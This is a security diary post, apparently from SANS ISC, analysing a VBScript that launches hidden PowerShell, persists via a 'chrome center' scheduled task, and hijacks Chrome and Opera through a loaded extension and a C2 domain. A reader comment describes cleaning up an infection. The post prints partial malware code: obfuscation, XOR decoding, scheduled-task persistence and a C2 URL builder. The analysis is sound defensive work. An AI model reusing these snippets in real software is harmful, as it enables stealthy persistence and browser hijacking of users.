Multi-Technology Script Leading to Browser Hijacking

Published: 2023-03-10
Last Updated: 2023-03-10 07:09:14 UTC
by Xavier Mertens (Version: 1)
1 comment(s)

In the FOR610[1] class, we learn how to perform malware analysis. The training focuses on Windows PE files but in the real world, malware samples use multiple technologies to perform malicious actions. I spotted a VBScript file (I don’t know where it’s coming from, probably a phishing campaign). The script has been flagged by only one(!) AV product on VT (SHA256: 81e4e91b8a841311b28b42951d53ec6ce471227480ca97c91c2aa1eeda6dad30[2]).

The VBScript implements a simple but effective obfuscation technique: The attacker implemented search/replace operations to inject extra code into the script. Example:

1: pr = "WyI2NTM0ODcxMTQx ... VRHZFhTMGslM0QiXQ=="
2: pls = db64("DQoNCiRqX1Zhcj0kbnVsbDsNCiRvaz0kdHJ … JCX0NCgkJfQ0KDQoJfSBjYXRjaHt9DQp9DQoNCg==")
3: pls = Replace(pls, db64("cmVwbGFjZV9wYXJhbQ=="), pr)
4: pls = Replace(eb64(pls), vbLf, "")

The variable "pls" contains the Base64-encoded PowerShell scripts, and, on line 3, the string “replace_param” ("cmVwbGFjZV9wYXJhbQ==") is replaced with a Base64-encoded data in the variable 'pr'. Here are the very first lines of the initial script:

1: $j_Var=$null;
2: $ok=$true
3: $rLD_v = "29";
4: $VRPar = "replace_param";
5: $ascEnC_str=[System.Text.Encoding]::ASCII;

The added data is a simple array:


This array is used here in the PowerShell script:

1: $j_Var=$ascEnC_str.GetString([System.Convert]::FromBase64String($VRPar)) | ConvertFrom-Json;
2: $di=$j_Var[2];
3: $is=$j_Var[1];
4: $u=$j_Var[0];

The deobfuscated code is now located in $pls. This code is injected into another script using the same technique:

1: cts = db64("JGQ9InJlcGxhY2VfcGx1YjY0IjsNCiR0YS ... CAgIH0gY2F0Y2h7fQ0KfQ0KDQpleGl0Ow==")
2: cts = Replace(cts, db64("cmVwbGFjZV9wbHViNjQ="), pls)

The PowerShell is launched via a nice trick:

1: Set so = CreateObject("WScript.Shell")
2: set ex = so.Exec(db64("Y21kLmV4ZSAvYyBwb3dlcnNoZWxsIC1XaW5kb3dTdHlsZSBIaWRkZW4gLQ=="))
3: ex.StdIn.Write cts & VbCrLf

“Y21kLmV4ZSAvYyBwb3dlcnNoZWxsIC1XaW5kb3dTdHlsZSBIaWRkZW4gLQ==“ decodes as “cmd.exe /c powershell -WindowStyle Hidden -“.

Did you see the trailing dash? PowerShell expects the code to execute from STDIN, see line 3.

This PowerShell script will implement its persistence via a scheduled task:

 1: $d="replace_plub64";
 2: $ta = New-ScheduledTaskAction -Execute 'cmd' -Argument "/c powershell -WindowStyle Hidden -E `"$d`"";
 3: $tt = New-ScheduledTaskTrigger -Once -At (Get-Date).AddSeconds(45) -RepetitionInterval (New-TimeSpan -Minutes 50);
 4: Register-ScheduledTask -TaskName "chrome center" -Action $ta -Trigger $tt -Description "Chrome center"; 
 5: $tsn = @("engine", "policy", "about", "sync", "customize", "accessibility", "data", "help", "find", "zoom", "profile", "nav", "glass", "control", "window", "panel", "tab", "view", "cast", "history", "flags", "bookmarks", "conf", "storage", "tools",  "settings", "support", "tele")
 6: for ($i=0 ; $i -lt $tsn.length ; ++$i) {
 7:    try {
 8:       $ts = "chrome {0}" -f $tsn[$i];
 9:       Unregister-ScheduledTask -TaskName $ts -Confirm:$false
10:    } catch{}
11: }
12: exit;

Note that the script removes scheduled tasks based on the same naming convention.

Let’s now have a look at the variable "$d" which contains the payload executed by the scheduled task!

The PowerShell contains some CSharp code that is compiled on the fly:

csc.exe /noconfig /fullpaths @"C:\Users\user01\AppData\Local\Temp\z2fptyrq.cmdline"

Here are the compilation details extracted from the file z2fptyrq.cmdline:

\xfeff/t:library /utf8output /R:"System.dll"
/R:"C:\Windows\assembly\GAC_32\System.Web\\System.Web.dll" /R:"Microsoft.CSharp.dll" 
/D:DEBUG /debug+ /optimize- "C:\Users\user01\AppData\Local\Temp\z2fptyrq.0.cs”

Here is the PowerShell code:

1: $id = get-random
2: $assemblies = ("System.Web", "Microsoft.CSharp", "PresentationCore", "WindowsBase")
3: $code = @" ... "@
4: Add-Type -ReferencedAssemblies $assemblies -TypeDefinition $code -Language CSharp -IgnoreWarnings
5: $fr = "[Application.Program$id]::run";
6: $fs = "[Application.Program$id]::stop";

More runtime parameters are obfuscated in an XOR’d string:

1: $eb=[System.Convert]::FromBase64String("RUVwSTMeZxMhQSooFRZQICsELE ... MqNRU7UmsgCCwTahFSFA==");
2: $k=$eb[0..4];
3: $bs=$eb[5..$eb.length];
4: $rs=@();
5: $j=0;
6: [array]::Resize([ref]$rs,$bs.length);
7: foreach($b in $bs) {$rs[$j++]=($b -bxor $k[$j%$k.length])}
8: $ja=$a.GetString($rs) | ConvertFrom-Json;

The XOR key is based on the 4-first bytes of the "$eb" variable. Here is the content of "$ja":

 1: PS C:\Users\REM> $ja
 2: chrome_center
 3: background.js
 6: name='chrome.exe'
 7: load-extension
 8: chrome
 9: C:\Program Files\
10: C:\Program Files (x86)\
11: Google\Chrome\Application\chrome.exe
12: opera
13: name='opera.exe'
14: Opera\launcher.exe
15: \Programs\
16: taskkill /F /IM opera.exe /T

It was impossible to detonate the complete script in my sandbox (and compile the CSHARP code)… However, the code discloses interesting behaviors:

 1: public static void run(string domain, string uid, string ist, string tid)
 2: {
 3:    if (thread != null && thread.IsAlive)
 4:    {
 5:        return;
 6:    }
 7:    isRun = true;
 8:    srvUrl = String.Format("https://goog.{0}/?tid={1}&u={2}&agec={3}", domain, tid, uid, ist);
 9:    thread = new Thread(new ThreadStart(Program88.runThread));
10:    thread.IsBackground = true;
11:    thread.SetApartmentState(ApartmentState.STA);
12:    thread.Start();
13: }

The domain comes from the XOR-encoded data above: rtowatchship[.]xyz. A browser is started and, at the end of the function laughing it, there is a reference to this function:

hookSearchNavigation(hwnd, valuePattern, searchKeyword, true, referrer)

Microsoft UI Automation is a tool that provides an abstracted model of the UI, and allows a client application to both investigate and manipulate the UI of all running applications on the system.

[Update] I was able to detonate the last piece of PowerShell script in my sandbox after some code cleanup, but there is no data returned by rtowatchship[.]xyz.I don't have lot of experience with UI Automation. If you can share some details about the CSharp code, please share with us!


Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

1 comment(s)


I just stumbled onto this one in the wild today while assisting someone with an issue they were having. Their browser (chrome) was crashing frequently, or rather, just exiting completely. They said it only crashed when they had facebook open, but I suspect that was just a coincidence. The event log didn't show it was crashing, so I suspected it was being closed by some other method. I saw the task scheduler had the "chrome center" task listed in it, which was triggered to run every 50 minutes. the contents of the task command were base64 encoded, which I decoded and found the powershell script which seems to try to get a payload from that rtowatchship[.]xyz site, as well as something in the registry at "HKCU:\Software\Mirage Utilities\". I am no longer assisting them, so I can't explore their file system to look for any of the other files that you had indicated above. But when I left them, I felt like I had cleaned up all remnants of the infection. Also, when I try to resolve that rtowatch site, I get a blackhole ip: - so I suppose my firewall is keeping me safe.

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